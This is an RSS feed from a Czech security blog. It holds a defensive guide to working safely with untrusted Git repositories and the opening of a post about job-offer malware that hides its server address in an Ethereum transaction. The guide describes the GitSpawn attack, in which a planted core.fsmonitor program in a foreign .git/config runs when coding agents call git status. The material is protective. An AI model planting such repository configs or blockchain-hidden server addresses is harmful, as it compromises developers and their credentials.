<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog Archives - DIGITÁLNÍ SEBEOBRANA</title>
	<atom:link href="https://www.digitalnisebeobrana.cz/category/blog/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.digitalnisebeobrana.cz/category/blog/</link>
	<description></description>
	<lastBuildDate>Tue, 08 Sep 2026 10:00:31 +0000</lastBuildDate>
	<language>cs</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1</generator>

<image>
	<url>https://www.digitalnisebeobrana.cz/wp-content/uploads/2018/12/cropped-mr.black_-32x32.png</url>
	<title>Blog Archives - DIGITÁLNÍ SEBEOBRANA</title>
	<link>https://www.digitalnisebeobrana.cz/category/blog/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Jak bezpečně pracovat s cizím Git repozitářem</title>
		<link>https://www.digitalnisebeobrana.cz/how-to-work-safely-with-an-untrusted-git-repository/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 08 Sep 2026 09:59:53 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[gitlab]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[sysadmin]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=7178</guid>

					<description><![CDATA[<p>Cizí repozitář může být úplně legitimní. Pořád ale obsahuje kód a konfiguraci, které vytvořil někdo jiný. Co má smysl zkontrolovat před instalací, buildem nebo spuštěním a jak omezit riziko u IDE, coding agentů i samotného Gitu?</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/how-to-work-safely-with-an-untrusted-git-repository/">Jak bezpečně pracovat s cizím Git repozitářem</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Cizí Git repozitář je běžná součást práce. Open source projekt, kód od dodavatele, zadání pracovního pohovoru, nový projekt v týmu nebo repo, které vám někdo pošle s prosbou o kontrolu.</p>
<p>Naklonovat ho je normální. Z bezpečnostního hlediska je zajímavé hlavně to, co nad tím adresářem začne běžet potom.</p>
<p>Editor může načíst konfiguraci projektu. Package manager může při instalaci spustit skripty. Build a testy spouštějí další kód. Submoduly mohou stáhnout další repozitáře. Coding agent může několik těchto kroků provést automaticky. A pokud jste místo normálního clone dostali celý adresář včetně <code>.git</code>, může chování samotného Gitu ovlivnit i lokální konfigurace repozitáře.</p>
<p>Neznamená to, že každý cizí projekt potřebuje vlastní forenzní laboratoř. Dává ale smysl vědět, ve kterém okamžiku už projekt pouze nečtete, ale dovolujete mu něco spustit.</p>
<h2>Otevřít projekt nemusí znamenat jen zobrazit zdrojáky</h2>
<p>Moderní editor nebo IDE není pasivní textový prohlížeč. Nad otevřeným projektem může načítat jeho vlastní nastavení, spouštět tasky, připravovat debugger, inicializovat build systém nebo aktivovat další projektovou automatizaci.</p>
<p>Proto například VS Code používá pro neznámé projekty <strong>Workspace Trust</strong> a Restricted Mode. Dokud projektu nedůvěřujete, omezuje mimo jiné tasks, debugging a některá workspace nastavení. JetBrains IDE mají podobný Safe Mode, ve kterém lze zdrojáky prohlížet bez spuštění například Maven nebo Gradle importu a dalších projektových skriptů.</p>
<p>Pokud editor při otevření neznámého projektu nabízí volbu typu „Trust this project?“, není to jen právní dialog k odkliknutí. Rozhoduje se tím mimo jiné o tom, které funkce projektu se smějí automaticky aktivovat.</p>
<p>Pro první prohlídku cizího repozitáře je proto vhodné nechat podobný restricted nebo safe režim zapnutý, pokud ho používaný nástroj nabízí.</p>
<h2>Instalace závislostí už může spouštět kód</h2>
<p>Další hranice je příprava projektu ke spuštění.</p>
<p>U JavaScriptového projektu najdete v README běžně například:</p>
<pre><code>npm install
npm run dev</code></pre>
<p><code>npm install</code> přitom není pouze stažení souborů do <code>node_modules</code>. npm během instalace standardně podporuje lifecycle skripty jako <code>preinstall</code>, <code>install</code>, <code>postinstall</code> nebo <code>prepare</code>. Ty jsou normální součástí ekosystému a řada legitimních balíčků je používá. Zároveň jde o programový kód spuštěný během instalace.</p>
<p>U cizího projektu se proto vyplatí před instalací podívat minimálně na <code>package.json</code> a na to, jaké skripty projekt definuje.</p>
<p>Při první kontrole lze npm spustit také s vypnutými skripty:</p>
<pre><code>npm install --ignore-scripts</code></pre>
<p>Tím npm při instalaci nespustí skripty z <code>package.json</code>. Není to sandbox ani důkaz, že je projekt bezpečný. Explicitní <code>npm run dev</code>, <code>npm test</code> nebo jiný příkaz určený ke spuštění skriptu svůj cílový skript stále provede.</p>
<p>Má to ale praktické použití: lze oddělit samotnou instalaci závislostí od dalšího kódu, který se má během instalace automaticky spouštět.</p>
<p>Stejný princip platí i mimo npm. Maven, Gradle, Python packaging, Make, Cargo a další build nebo package systémy mají vlastní mechanismy, kterými mohou během setupu a buildu spouštět další programy. Konkrétní příkazy se liší, bezpečnostní otázka je stejná: <strong>co všechno se skutečně provede, když udělám krok popsaný jako instalace, build nebo test?</strong></p>
<h2>Škodlivý příkaz nemusí vypadat škodlivě</h2>
<p>Tohle jsem si vyzkoušel na skutečném škodlivém repozitáři z falešné pracovní nabídky.</p>
<p>README obsahovalo normální instrukci:</p>
<pre><code>npm run dev</code></pre>
<p>Projekt po jejím spuštění skutečně nastartoval. Současně se ale aktivoval škodlivý kód, který si zjistil adresu svého serveru, stáhl další část programu a začal se zapisovat do vývojářských nástrojů.</p>
<p>Podstatné nebylo, že by někde v návodu stálo <code>run-malware</code>. Útočník schoval škodlivé chování za krok, který člověk při kontrole frontendu udělá úplně normálně.</p>
<p>Celý ten případ jsem rozebral v článku <a href="/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain/">Spustil jsem malware. Adresu svého serveru si našel v blockchainu</a>.</p>
<p>Proto nestačí hledat jen příkazy, které na první pohled vypadají nebezpečně. Důležité je také to, co běžný příkaz spustí dál a jaké další soubory nebo data si za běhu načte.</p>
<h2>Coding agent může stejný řetězec projít sám</h2>
<p>Coding agent tenhle problém nevytváří, ale umí ho výrazně zrychlit.</p>
<p>Když agent dostane úkol typu „projdi tenhle projekt a vysvětli mi ho“, může zůstat u čtení souborů. U zadání „rozběhni projekt“, „oprav testy“, „najdi chybu“ nebo „ověř, že aplikace funguje“ už může být instalace závislostí, build nebo spuštění testů normální součástí řešení.</p>
<p>Agent tedy nemusí udělat nic proti zadání. Může přesně splnit požadovaný úkol a přitom spustit škodlivý instalační nebo build skript.</p>
<p>Proto je důležitější omezit prostředí, ve kterém agent pracuje, než spoléhat na to, že pokaždé správně pozná nebezpečný příkaz.</p>
<p>Například Claude Code odděluje permissions a sandbox. Permissions určují, které nástroje smí agent použít. Sandbox pak na úrovni operačního systému omezuje filesystem a síť pro Bash i pro procesy, které Bash spustí. Omezení se tedy vztahuje také na <code>npm</code>, build skripty a další potomky spuštěných procesů.</p>
<p>Sandbox lze v Claude Code zapnout pomocí:</p>
<pre><code>/sandbox</code></pre>
<p>Pro skutečně nedůvěryhodný projekt dává smysl kombinovat sandbox s omezením přístupu k citlivým souborům a síti. Samotné potvrzování jednotlivých příkazů není stejně silná ochrana. U dlouhé série běžně vypadajících operací navíc rychle vzniká approval fatigue a člověk začne potvrzení odklikávat automaticky.</p>
<h2>Jeden repozitář může přivést další</h2>
<p>Git submoduly umožňují, aby hlavní projekt odkazoval na další Git repozitáře. Jejich konfigurace je uložená v souboru <code>.gitmodules</code>, který je normální součástí repozitáře.</p>
<p>Proto je rozdíl mezi:</p>
<pre><code>git clone https://example.com/project.git</code></pre>
<p>a:</p>
<pre><code>git clone --recurse-submodules https://example.com/project.git</code></pre>
<p>Ve druhém případě Git rovnou začne řešit i další repozitáře uvedené v projektu.</p>
<p>U neznámého projektu není důvod stahovat submoduly automaticky dřív, než se podíváte, kam odkazují. Stačí nejdřív zkontrolovat <code>.gitmodules</code> a teprve potom je podle potřeby inicializovat.</p>
<p>Git má pro automaticky vyvolané síťové operace vlastní protocol policy. Některé protokoly jsou standardně povolené, nebezpečnější <code>ext</code> je zakázaný a další mohou mít politiku <code>user</code>, která rozlišuje mezi přímou akcí uživatele a automatickou operací vyvolanou například submodulem.</p>
<p>Tyto defaulty není potřeba kvůli běžné práci měnit. Naopak není dobrý nápad je globálně povolovat volněji jen proto, že nějaký konkrétní projekt jinak nefunguje, aniž by bylo jasné proč.</p>
<h2>Cizí <code>.git</code> je jiný případ</h2>
<p>Doteď jsme počítali s normálním vzdáleným repozitářem, který si sami naklonujete.</p>
<p>Jiná situace nastane, když vám někdo pošle celý pracovní adresář například jako ZIP, přes sdílený disk nebo synchronizovanou složku:</p>
<pre><code>project/
├── src/
├── package.json
├── README.md
└── .git/</code></pre>
<p>V takovém případě jste nedostali jen zdrojové soubory a Git historii. Dostali jste také cizí lokální Git metadata.</p>
<p>Tady je důležitý rozdíl proti běžnému <code>git clone</code>. Při vzdáleném clone se lokální <code>.git/config</code> původního repozitáře ani jeho hooks nekopírují. Git si na vašem stroji vytvoří nový <code>.git</code> adresář a vlastní lokální konfiguraci.</p>
<p>Pokud ale někdo předá celý adresář včetně <code>.git</code>, dostáváte i konfiguraci a hooks, které připravil on.</p>
<p>Oficiální dokumentace Gitu na to upozorňuje přímo: některé konfigurační volby a hooks mohou spouštět libovolné příkazy, a proto není bezpečné normálně pracovat s <code>.git</code>, který pochází z nedůvěryhodného zdroje.</p>
<h3>Aktuální příklad: GitSpawn a <code>core.fsmonitor</code></h3>
<p>Konkrétní ukázkou je výzkum GitSpawn od Manifold Security.</p>
<p>Git podporuje nastavení <code>core.fsmonitor</code>, které mu pomáhá rychleji zjišťovat změny souborů. Hodnotou ale může být také externí program.</p>
<p>V lokálním <code>.git/config</code> tedy může být nastavení ve smyslu:</p>
<pre><code>[core]
    fsmonitor = &lt;program&gt;</code></pre>
<p>Někteří coding agenti po otevření Git repozitáře automaticky zjišťovali jeho stav pomocí Git příkazů. Při operaci, která potřebovala obnovit index, Git použil nastavený fsmonitor a spustil cizí program.</p>
<p>Takže i normálně vypadající:</p>
<pre><code>git status</code></pre>
<p>mohlo skončit spuštěním programu definovaného v podstrčeném <code>.git/config</code>.</p>
<p>Pro tuhle konkrétní cestu lze při automatickém zjišťování stavu použít:</p>
<pre><code>git -c core.fsmonitor=false status</code></pre>
<p>Volba <code>-c</code> přepíše konfiguraci pro právě spouštěný Git příkaz. Hodnota <code>core.fsmonitor</code> z repozitáře se tedy pro tento příkaz nepoužije.</p>
<p>Globální:</p>
<pre><code>git config --global core.fsmonitor false</code></pre>
<p>není proti škodlivému repo-local nastavení spolehlivá ochrana. Lokální <code>.git/config</code> má vyšší prioritu než globální konfigurace a může ji přepsat.</p>
<p><code>git -c core.fsmonitor=false status</code> zároveň není obecné zabezpečení Gitu. Řeší konkrétní cestu přes <code>core.fsmonitor</code>. Git konfigurace i hooks mají další možnosti, jak ovlivnit chování programu.</p>
<h2><code>safe.directory</code> není seznam důvěryhodných projektů</h2>
<p>Git má ochranu proti repozitářům vlastněným jiným uživatelem.</p>
<p>Ve výchozím stavu odmítne pracovat s repozitářem, který patří někomu jinému, a nebude ani parsovat jeho lokální config nebo spouštět hooks. Konkrétní výjimky lze přidat pomocí <code>safe.directory</code>.</p>
<p>To je užitečné například na víceuživatelském systému.</p>
<p>Není to ale obecná ochrana proti škodlivému repozitáři. Když si sami rozbalíte ZIP připravený někým jiným, výsledné soubory typicky vlastní váš účet. Git tedy nemá podle ownershipu důvod takový adresář odmítnout.</p>
<p>A pokud Git zahlásí problém s „dubious ownership“, není vhodné ho automaticky řešit:</p>
<pre><code>git config --global --add safe.directory '*'</code></pre>
<p>Hodnota <code>*</code> kontrolu ownershipu globálně vypne. Lepší je zjistit, proč má konkrétní repo jiného vlastníka, a případnou výjimku nastavit jen tam, kde ji skutečně potřebujete.</p>
<h2>Když cizí <code>.git</code> opravdu potřebujete</h2>
<p>Někdy není k dispozici původní vzdálený repozitář a potřebujete zachovat historii, branche nebo další Git metadata z předaného adresáře.</p>
<p>Git v takové situaci doporučuje nevstupovat běžně do původního repozitáře, ale nejdřív z něj vytvořit čistou kopii:</p>
<pre><code>git clone --no-local /cesta/k/puvodnimu-repu /cesta/k/nove-kopii</code></pre>
<p><code>--no-local</code> zabrání použití optimalizací lokálního clone a Git vytvoří nový repozitář prostřednictvím svého běžného transportního mechanismu. Výsledná kopie tak nepřebírá původní lokální config a hooks.</p>
<p>Ani to není absolutní sandbox. Serverovou část clone obsluhuje <code>git-upload-pack</code> a samotná Git dokumentace upozorňuje, že i ten má vlastní attack surface. U skutečně nedůvěryhodného <code>.git</code> proto doporučuje spustit tuto část pod neprivilegovaným uživatelem nebo použít další izolaci.</p>
<p>Pokud historii vůbec nepotřebujete, je jednodušší původní <code>.git</code> nepoužívat.</p>
<h2>Omezit lze i automatické hledání bare repozitářů</h2>
<p>Git umí pracovat také s bare repositories, tedy repozitáři bez běžného working tree.</p>
<p>Pokud je ve svém workflow nepoužíváte, Git nabízí jedno užitečné hardening nastavení:</p>
<pre><code>git config --global safe.bareRepository explicit</code></pre>
<p>Git pak nebude automaticky pracovat s bare repozitářem, který pouze objeví uvnitř adresářové struktury. Musí mu být určený explicitně.</p>
<p>Git dokumentace tuto volbu doporučuje zvážit právě jako ochranu proti útokům, kdy naklonovaný projekt obsahuje další bare repository a následný Git příkaz ho automaticky najde.</p>
<h2>Když projekt opravdu musíte spustit</h2>
<p>Statická kontrola má svoje limity. Někdy potřebujete aplikaci skutečně spustit, reprodukovat chybu, pustit testy nebo sledovat její chování.</p>
<p>V tu chvíli už víte, že budete spouštět cizí kód. Nejdůležitější proto není další jednotlivá volba Gitu, ale prostředí, ve kterém ten kód poběží.</p>
<p>Běžný pracovní účet vývojáře může mít přístup k SSH klíčům, privátním repozitářům, Git a cloudovým tokenům, produkčním <code>.env</code>, uloženým přihlášením, dalším zdrojovým kódům nebo běžícím credential agentům.</p>
<p>Cizí projekt většinu z toho nepotřebuje.</p>
<p>U projektu, kterému nedůvěřujete, ale potřebujete ho spustit, dává smysl použít jednorázové nebo jinak omezené prostředí bez skutečných přístupových údajů a bez zbytečného přístupu k datům hostitele.</p>
<p>Podle rizika může jít o sandbox, separátní uživatelský účet, development environment vytvořený právě pro tento účel nebo jednorázový virtuální systém.</p>
<p>Container může být součástí takového řešení, ale samotné „běží to v Dockeru“ ještě neznamená dobrou izolaci. Docker bind mounty mají ve výchozím stavu právo zapisovat do namountovaných souborů hostitele. Přístup k Docker daemonu je ještě silnější; Docker dokumentace výslovně upozorňuje, že možnost ovládat daemon poskytuje root-level oprávnění na hostitelském systému.</p>
<p>U nedůvěryhodného kódu bych proto do containeru nepředával Docker socket, celý domovský adresář, SSH agent ani adresáře s credentials. Pokud projekt potřebuje hostitelský adresář pouze číst, je vhodnější read-only mount než zápis.</p>
<p>Stejně důležitá je síť. Pokud projekt ke své funkci nepotřebuje libovolný odchozí přístup, není důvod mu ho automaticky dávat.</p>
<p>Snapshot virtuálního systému je užitečný pro návrat disku do předchozího stavu. Není ale bezpečnostní hranice proti úniku dat. Token, který už cizí program odeslal ven, rollback nevrátí.</p>
<h2>Praktický bezpečnostní baseline</h2>
<p>Žádné z následujících opatření samo o sobě nedělá cizí repozitář důvěryhodným. Jednotlivé kroky omezují různé cesty, kterými může projekt nebo nástroje kolem něj spouštět kód a získávat přístup k okolnímu systému.</p>
<figure class="wp-block-table">
<table>
<thead>
<tr>
<th>Situace</th>
<th>Co udělat / nastavit</th>
<th>Proč</th>
<th>Co to neřeší</th>
</tr>
</thead>
<tbody>
<tr>
<td>První otevření cizího projektu</td>
<td>Použít Restricted / Safe Mode, pokud ho editor nebo IDE podporuje.</td>
<td>Omezí automatické tasks, buildy a projektovou konfiguraci před kontrolou.</td>
<td>Nechrání před kódem, který později sami spustíte.</td>
</tr>
<tr>
<td>První npm instalace</td>
<td><code>npm install --ignore-scripts</code></td>
<td>Zabrání automatickému spuštění lifecycle skriptů během instalace.</td>
<td>Není to sandbox. Explicitní <code>npm run</code> svůj cílový skript spustí.</td>
</tr>
<tr>
<td>Git submoduly</td>
<td>Nezačínat automaticky s <code>--recurse-submodules</code>; nejdřív zkontrolovat <code>.gitmodules</code>.</td>
<td>Hlavní repo může odkazovat na další zdroje kódu.</td>
<td>Neříká nic o bezpečnosti samotného hlavního repozitáře.</td>
</tr>
<tr>
<td>Git protocol policy</td>
<td>Bez konkrétního důvodu neuvolňovat globálně <code>protocol.*.allow</code>.</td>
<td>Git má bezpečnostní defaulty pro automaticky vyvolané transporty a submoduly.</td>
<td>Povolený HTTPS nebo SSH remote může stále obsahovat škodlivý kód.</td>
</tr>
<tr>
<td>Repo s jiným vlastníkem</td>
<td>Nepoužívat globálně <code>safe.directory=*</code>. Povolit jen konkrétní adresář, pokud je to skutečně potřeba.</td>
<td>Zachová ownership ochranu Gitu.</td>
<td>Nechrání před škodlivým repem, které už vlastní váš účet.</td>
</tr>
<tr>
<td>Bare repositories</td>
<td><code>git config --global safe.bareRepository explicit</code>, pokud bare repositories běžně nepotřebujete.</td>
<td>Omezí automatické objevení bare repozitáře vloženého do cizího projektu.</td>
<td>Neřeší normální working-tree repozitáře ani jiné execution paths.</td>
</tr>
<tr>
<td>Cizí celý <code>.git</code></td>
<td><code>git clone --no-local /zdroj /nova-kopie</code></td>
<td>Vytvoří nový <code>.git</code> místo běžné práce přímo nad cizím configem a hooks.</td>
<td><code>git-upload-pack</code> má vlastní attack surface; vysoce nedůvěryhodný zdroj patří do izolace.</td>
</tr>
<tr>
<td>Automatický <code>git status</code> nad nedůvěryhodným <code>.git</code></td>
<td><code>git -c core.fsmonitor=false status</code></td>
<td>Pro tento příkaz nepoužije podstrčený <code>core.fsmonitor</code> z repozitáře.</td>
<td>Řeší pouze tuto konkrétní GitSpawn cestu.</td>
</tr>
<tr>
<td>Coding agent</td>
<td>Použít sandbox a omezit filesystem i síť. U Claude Code například <code>/sandbox</code>.</td>
<td>Omezení platí také pro procesy spuštěné agentem, například npm nebo build skripty.</td>
<td>Sandbox nenahrazuje správně nastavené permissions a kontrolu citlivých operací.</td>
</tr>
<tr>
<td>Spuštění skutečně nedůvěryhodného kódu</td>
<td>Jednorázové nebo omezené prostředí bez SSH klíčů, produkčních tokenů, cloud credentials, hostitelského Docker socketu a dalších nepotřebných dat.</td>
<td>Omezuje dopad, pokud se škodlivý kód skutečně spustí.</td>
<td>Nezabrání samotnému spuštění škodlivého programu.</td>
</tr>
<tr>
<td>Docker</td>
<td>Nepředávat nedůvěryhodnému containeru Docker socket; hostitelské mounty omezit a podle potřeby použít read-only.</td>
<td>Docker socket poskytuje velmi silná oprávnění a zapisovatelný bind mount umožňuje měnit hostitelské soubory.</td>
<td>Container sám o sobě není úplná bezpečnostní hranice.</td>
</tr>
<tr>
<td>Git a okolní tooling</td>
<td>Udržovat podporovanou aktuální verzi přes běžný update mechanismus používaného systému.</td>
<td>Git, package managery, editory i runtime mají vlastní bezpečnostní chyby.</td>
<td>Aktualizace nechrání před legitimní funkcí, kterou škodlivý projekt použije přesně podle návrhu.</td>
</tr>
</tbody>
</table>
</figure>
<h2>Kolik důvěry projekt skutečně potřebuje?</h2>
<p>U cizího repozitáře není potřeba rozhodnout jednou provždy, jestli je „bezpečný“ nebo „nebezpečný“.</p>
<p>Praktičtější je rozhodovat postupně.</p>
<p>Pro přečtení zdrojových souborů nepotřebuje projekt přístup k SSH klíčům. Pro instalaci závislostí nemusí být nutné automaticky spustit všechny install skripty. Coding agent, který má vysvětlit architekturu, nemusí mít automaticky právo spouštět libovolný software. A projekt, který potřebujete opravdu rozběhnout, nemusí běžet pod stejným účtem a se stejnými credentials jako vaše běžná práce.</p>
<p>Čím méně důvěry konkrétní krok potřebuje, tím méně jí má smysl projektu dávat.</p>
<blockquote>
<p><strong>Řešíte bezpečnost konkrétního vývojového prostředí, CI nebo coding agentů?</strong></p>
<p>Pokud potřebujete posoudit konkrétní workflow, oprávnění nebo bezpečnostní návrh, můžeme ho projít v rámci <a href="/osobni-konzultace/">Bezpečnostní konzultace</a>. Cílem je dojít ke konkrétnímu doporučení pro vaše prostředí, ne vyrábět zbytečně široký audit.</p>
</blockquote>
<hr>
<h2>Zdroje</h2>
<ul>
<li><a href="https://git-scm.com/docs/git">Git documentation – SECURITY</a>: práce s nedůvěryhodným repozitářem, config, hooks a doporučení pro cizí <code>.git</code>.</li>
<li><a href="https://git-scm.com/docs/git-config">git-config documentation</a>: <code>safe.directory</code>, <code>safe.bareRepository</code>, protocol policy a <code>core.fsmonitor</code>.</li>
<li><a href="https://git-scm.com/docs/git-clone">git-clone documentation</a>: lokální clone a <code>--no-local</code>.</li>
<li><a href="https://docs.npmjs.com/misc/scripts/">npm Scripts documentation</a>: lifecycle skripty při instalaci.</li>
<li><a href="https://docs.npmjs.com/cli/v11/commands/npm-install/">npm install documentation</a>: <code>--ignore-scripts</code>, <code>allowScripts</code> a <code>strict-allow-scripts</code>.</li>
<li><a href="https://code.claude.com/docs/en/security">Claude Code Security</a> a <a href="https://code.claude.com/docs/en/sandboxing">Sandboxing</a>: permissions, filesystem a network isolation.</li>
<li><a href="https://code.visualstudio.com/docs/editing/workspaces/workspace-trust">VS Code Workspace Trust</a>.</li>
<li><a href="https://www.jetbrains.com/help/idea/project-security.html">JetBrains Project Security</a>.</li>
<li><a href="https://docs.docker.com/engine/security/">Docker Engine security</a> a <a href="https://docs.docker.com/engine/storage/bind-mounts/">Bind mounts</a>.</li>
<li><a href="https://www.manifold.security/blog/ai-coding-agents-git-hijack">Manifold Security: GitSpawn</a>.</li>
</ul>
<p>The post <a href="https://www.digitalnisebeobrana.cz/how-to-work-safely-with-an-untrusted-git-repository/">Jak bezpečně pracovat s cizím Git repozitářem</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Spustil jsem malware. Adresu svého serveru si našel v blockchainu</title>
		<link>https://www.digitalnisebeobrana.cz/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 06 Aug 2026 11:52:10 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[blockchain]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[RAT]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=7138</guid>

					<description><![CDATA[<p>Na LinkedIn mi přišla nabídka práce. V repozitáři, který jsem měl spustit, byl malware, který si adresu svého serveru čte z Ethereum transakce a po spuštění se sám zapíše do VS Code, Cursoru a npm.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain/">Spustil jsem malware. Adresu svého serveru si našel v blockchainu</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Škodlivý kód se často potřebuje spojit se serverem útočníka. Adresa toho serveru je proto obvykle jedna z prvních věcí, které se z kódu vytáhnou, protože se s ní dá dál pracovat: zablokovat ji na firewallu, nahlásit ji provozovateli, varovat před ní ostatní.</p>
<p>Tenhle v sobě žádnou adresu neměl. Po spuštění se zeptá veřejné Ethereum sítě na jednu konkrétní transakci a adresu si z ní rozbalí. Ta transakce je veřejná a <a href="https://etherscan.io/tx/0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3">dá se otevřít v prohlížeči blockchainu</a>. Adresa serveru je zapsaná přímo v příjemci té transakce, jen šestnáctkově. Kdo si to chce přepočítat sám, najde přesný rozpad i pětiřádkový skript v technické části na konci.</p>
<p>Stojí za to všimnout si, kde přesně ta informace je. Ne v datech transakce. Transakce sama nenese žádnou zprávu. Ta adresa příjemce totiž nikomu nepatří, není to peněženka ani smart kontrakt, je to prostě číslo, které někdo vymyslel tak, aby po přepočtu dávalo IP adresu a dva porty. Zpráva není v tom, co se poslalo. Zpráva je v tom, komu.</p>
<p>Je to jako veřejný inzerát, ve kterém je uvedená adresa. Vypadá úplně stejně jako každá jiná, nikomu nepřijde divná a projde bez povšimnutí. Jenom číslo popisné je ve skutečnosti kombinace k trezoru a ví to jen ten, komu je inzerát určený.</p>
<p>V kódu, který dostane oběť, tedy není co blokovat, je v něm jen odkaz na infrastrukturu, kterou nikdo nevypne. A i kdyby se ten server někomu podařilo shodit, útočník pošle další transakci na jinou vymyšlenou adresu a všechny nasazené kopie se na ni samy přesměrují.</p>
<h2>Tenhle malware mi přišel v nabídce práce na LinkedIn<a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact.png"><img fetchpriority="high" decoding="async" class="alignright size-medium wp-image-7149" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact-289x300.png" alt="" width="289" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact-289x300.png 289w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact-500x520.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact.png 528w" sizes="(max-width: 289px) 100vw, 289px" /></a></h2>
<p>Na konci července mi napsal člověk jménem Aaron Clark. Ověřený profil, 500+ kontaktů, jeden společný známý, slušně napsaná zpráva. Nabízel spolupráci na AI nástroji na sledování kryptoměn. Projekt je prý už financovaný, na vývoj je vyčleněných pět milionů dolarů a chystají token launch. Part-time i full-time, jak mi to bude vyhovovat.<br />
Moc často s headhuntery nekomunikuji, takže nemůžu říct, jestli bylo něco nestandardního, ale na první pohled nebylo nic divného.<br />
Na druhý už ano.</p>
<p>O sobě uváděl, že sedí v představenstvu Blocku.</p>
<p>To je ta věta, kvůli které jsem si otevřel jeho profil pořádně.</p>
<h2>Kdo mi to vlastně píše</h2>
<p>Block je veřejně obchodovaná společnost. Členy představenstva takové firmy si nemusíte domýšlet, jsou veřejní. Firma je uvádí na svých investorských stránkách a jako emitent je musí uvádět i v dokumentech podávaných americké komisi pro cenné papíry. Otevřete <a href="https://investors.block.xyz/governance/board-of-directors/">seznam</a> a přečtete si jména. Sedí tam Jack Dorsey, spoluzakladatel Blocku i Twitteru. Jim McKelvey, druhý spoluzakladatel. Shawn Carter, kterého většina lidí zná jako Jay-Z, od května 2021. A vedle nich lidé ze Sequoia Capital, z Goldman Sachs nebo z MIT.</p>
<p>Jen Aaron Clark tam není.</p>
<p>Trvalo to dvě minuty a tím by to v podstatě skončilo. Zbytek profilu se pak už jen skládal do stejného obrázku.</p>
<p><strong>Kariéra, která nedává smysl.</strong> Podle profilu byl v letech 2019 až 2021 projektový manažer v malé firmě, pak dva roky OSVČ, pak dva roky CTO malého AI startupu, a od roku 2024 člen představenstva jedné z největších fintechových firem na světě. Já tu osobní zkušenost nemám, ale myslím, že do představenstva tak významné společnosti se postupuje trochu jinak.</p>
<p><strong>Nulová aktivita.</strong> Přes tisíc sledujících, žádný příspěvek. Nikdy. Člověk s takovou pozicí a takovým dosahem, který za dva roky nenapsal ani jednu větu.</p>
<p><strong>Nesedící role.</strong> Člen představenstva velké fintechové firmy shání na LinkedIn frontendistu na volné noze za hodinovou sazbu na nesouvisející AI crypto projekt. To se nestává.</p>
<p><strong><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile.png"><img decoding="async" class="alignright size-medium wp-image-7150" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-133x300.png" alt="" width="133" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-133x300.png 133w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-456x1024.png 456w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-768x1726.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-683x1536.png 683w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-500x1124.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-800x1798.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile.png 861w" sizes="(max-width: 133px) 100vw, 133px" /></a>Ověřený profil.</strong> Ten modrý odznáček u jména neznamená, že platí, co je v profilu napsané. Znamená, že u účtu proběhlo nějaké ověření, typicky totožnosti nebo pracovního e-mailu. O pravdivosti tvrzení o představenstvu nevypovídá nic. Přesně na tenhle rozdíl většina lidí nemyslí, a proto ten odznáček funguje.</p>
<p>Fun fact: v pravém sloupci mi LinkedIn u toho profilu sám nabízel placenou reklamu na volná místa v Blocku. Platforma tu shodu jmen bere jako signál k prodeji inzerce, ne k ověření. A tak zvyšuje důvěryhodnost scammerům.<br />
Díky LinkedIne!</p>
<h2>Zahodit a nahlásit. No a nebo ne?</h2>
